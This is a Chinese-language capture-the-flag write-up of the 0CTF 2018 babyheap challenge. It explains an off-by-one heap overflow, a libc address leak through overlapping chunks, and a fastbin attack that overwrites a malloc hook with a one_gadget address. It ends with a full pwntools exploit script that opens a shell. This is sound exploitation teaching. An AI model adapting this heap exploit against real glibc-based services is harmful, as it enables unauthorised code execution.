0CTF 2018 BabyHeap

0CTF 2018 Babyheap

前言

上周0CTF临危受命,就做出一道题, 感觉思路很新颖, 分享一下.

题目分析

1. checksec

   Arch:     amd64-64-little
   RELRO:    Full RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      PIE enabled

结论: 保护全开, 必是堆溢出之类的.
2. 结构体

struct node{
  int inUse;
  int size;
  char* ptr;
}

3. 菜单

===== Baby Heap in 2018 =====
1. Allocate
2. Update
3. Delete
4. View
5. Exit
Command:

4. Allocate(可以申请最大0x58字节的内存)

Command: 1
Size: 20
Chunk 0 Allocateed

5. Update(Off_By_One漏洞)

Command: 2
Index: 0
Size: 20
Content: AAAAAAAAAAAAAAAAAAAA
Chunk 0 Updated

6. Delete

Command: 3
Index: 0
Chunk 0 Deleted

7. View

Command: 4
Index: 0
Chunk[0]: AAAAAAAAAAAAAAAAAAAA

8. Exit

Command: 5

3. 漏洞分析

Off_By_One:Off_By_One是指我们能够多写入一个字节, 这种漏洞往往和对边界的长度验证不严格和字符串操作有关.
小栗子:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void){
    char* buf1 = malloc(0x28);
    char* buf2 = malloc(0x40);
    read(0, buf1, 0x29); //0x29 - 0x28 = 1, 多写入一个字节
    printf("buf1 is %s\n", buf1);
    return 0;
}

编译
gcc -g example.c -o example
运行

./off_by_one

(输入前)
0x602000:   0x0000000000000000  0x0000000000000031
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000051  -------
0x602040:   0x0000000000000000  0x0000000000000000        |
0x602050:   0x0000000000000000  0x0000000000000000        |
0x602060:   0x0000000000000000  0x0000000000000000        |
0x602070:   0x0000000000000000  0x0000000000000000        |
                                                         |
(输入后)                                                  |
0x602000:   0x0000000000000000  0x0000000000000031        |
0x602010:   0x4141414141414141  0x4141414141414141        |
0x602020:   0x4141414141414141  0x4141414141414141        |
0x602030:   0x4141414141414141  0x0000000000000041 <-------
0x602040:   0x0000000000000000  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000

结论: 可以修改chunk size大小.

4. 题目分析

漏洞点: Update功能可以允许我们多输入一个字节.
我们需要解决如下问题

  1. 如何libc地址 ?
  2. 如何获取shell?

第一个问题

知识点: 当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址.

答: Overlap

alloc(0x48) #0
alloc(0x48) #1
alloc(0x48) #2
update(0, 0x49, "A"*0x48 + "\xa1") #修改1的chunk size为0xa1
free(1) #实际上是将1和2一起释放了
alloc(0x48)   # 申请1
view(2)       # 2我们是可以查看的

相关内存

chunk      0x55719bd46000   0x50            (inuse) ------------
chunk      0x55719bd46050   0x50 -----|     (inuse) |alloc(0x48)|
chunk      0x55719bd460a0   0x50 -----|     (inuse) |alloc(0x48)|
chunk      0x55719bd460f0   0x50      |     (inuse) |alloc(0x48)|
                                      |             -------------
chunk      0x55719bd46000   0x50      |      (inuse) -------
chunk      0x55719bd46050   0xa0  <----(1和2)(inuse)|update|
chunk      0x55719bd460f0   0x50      |      (inuse) ----------------
                                      |                      |free(1)|
chunk      0x55719bd46000   0x50      |      (inuse)         ∨-------∨
chunk      0x55719bd46050   0xa0(1和2)---->  (F) FD 0x7f46a1c7cb78 BK 0x7f46a1c7cb78 (LC)                   |
chunk      0x55719bd460f0   0x50      |       (inuse)
                                      |
chunk      0x55719bd46000   0x50      |      (inuse) ------------------------------------------
chunk      0x55719bd46050   0x50      |      (inuse) |alloc(0x48), 輸入2可以將0x7f46a1c7cb78打印出來
chunk      0x55719bd460a0   0x50(2)   -----> (F) FD 0x7f46a1c7cb78 BK 0x7f46a1c7cb78 (LC)
chunk      0x55719bd460f0   0x50             (inuse)

整体思路: 分配三个,0,1,2.通过Off_By_One可以将1chunk size改为0xa1, free(1)等于将1和2一起释放, 但标识着未释放.alloc(0x48)0x7f46a1c7cb78移到2中, 打印即可泄露地址.

第二个问题

fastbin attack, 在ralloc_hook写入execve(“/bin/sh”)来获取shell

通过上一个问题的回答, 我们有可能申请两个,这两个的content指向同一块内容.

alloc(0x48) # 4 = 2, content申请的地址是0x55719bd460a0,
delete(1)
delete(2)
view(4)

结果:
-------------------------------------------------------
0x55719bd460a0: 0x0000000000000000  0x0000000000000051 |
0x55719bd460b0: 0x000055719bd46050  0x0000000000000000 |
0x55719bd460c0: 0x0000000000000000  0x0000000000000000 |

结论: 由于fastbin是单链表链接的, 所以2的fd(下一个)指向了1, 我们可以任意修改这个地址, 来达到任意写的目的.

由于我们题目限制最大申请内存为88, 不能直接修改calloc__hook, 于是我们借助修改top chunk, 将top chunk 修改至calloc_hook附近, 然后再将execve("/bin/sh")地址填入calloc_hook.
修改: 

update(4, 9, p64(addr)) --> 修改地址, addr 是据top chunk的不远处
alloc(0x48)             --> 1
alloc(0x40)             --> 2,返回目标地址
update(2, 0x2c, "\x00"*35 + p64(newtop)) --> 修改top chunk 为ralloc_hook 附近
alloc(56)
update(5, 28, "W"*11 + p64(one)*2) --> 向ralloc_hook写入
alloc(0x28)           --> 由于ralloc_hook处有指针, 执行指针指向的函数

完整EXP


from pwn import *


context.log_level = 'debug'
HOST='202.120.7.204'
PORT=127

Local = 1

if Local:
    p = process("./babyheap")
    libc_offset = 0x3c4b78 #本机, ubuntu 16.04  
    one_offset = 0x4526a  
else:
    p=remote(HOST,PORT)
    libc_offset = 0x68+0x399af0 #远程
    one_offset = 0x3f35a
libc = ELF('./libc.so.6')
#gdb.attach(p)

def alloc(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))

def update(index, size, content):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline(str(index))
    p.recvuntil("Size: ")
    p.sendline(str(size))
    p.recvuntil("Content: ")
    p.sendline(content)

def delete(index):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(index))

def view(index):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(index))

def leak():
    alloc(0x48) #0
    alloc(0x48) #1
    alloc(0x48) #2
    alloc(0x48) #3

    update(0, 0x49, "A"*0x48 + "\xa1")
    delete(1)   #1
    alloc(0x48) #1
    view(2)     
    p.recvuntil("Chunk[2]: ")
    leak = u64(p.recv(8))
        libc_base = leak - libc_offset
    main_arena = leak - 0x58
    log.info("libc_base: %s" % hex(libc_base))
    log.info("main_arena: %s" % hex(main_arena))

    alloc(0x48) #4 = 2
    delete(1)   
    delete(2)
    view(4)

    p.recvuntil("Chunk[4]: ")
    heap = u64(p.recv(8)) - 0x50
    log.info("heap: %s" % hex(heap))
    return main_arena, libc_base


def exp(main_arena, libc_base):
    alloc(0x58) # 1
    delete(1)  # 1

    addr = main_arena + 37
    newtop = main_arena - 0x33
    one = libc_base + one_offset
    log.info("addr: %s" % hex(addr))
    log.info("newtop: %s " % hex(newtop))
    log.info("one: %s" % hex(one))

    update(4, 9, p64(addr))
    alloc(0x48)
    alloc(0x40)
    update(2, 0x2c, "\x00"*35 + p64(newtop))
    alloc(56)
    update(5, 28, "w"*11 + p64(one)*2)
    alloc(22)


if __name__=='__main__':

    main_arena, libc_base = leak()
    exp(main_arena, libc_base)
    p.interactive()

多说一句

可能在尝试的过程中, EXP会出现失败的情况, 我建议多试几次

结果

result

参考链接

0CTF Babyheap 2018

猜你喜欢

转载自blog.csdn.net/qq_33528164/article/details/79951156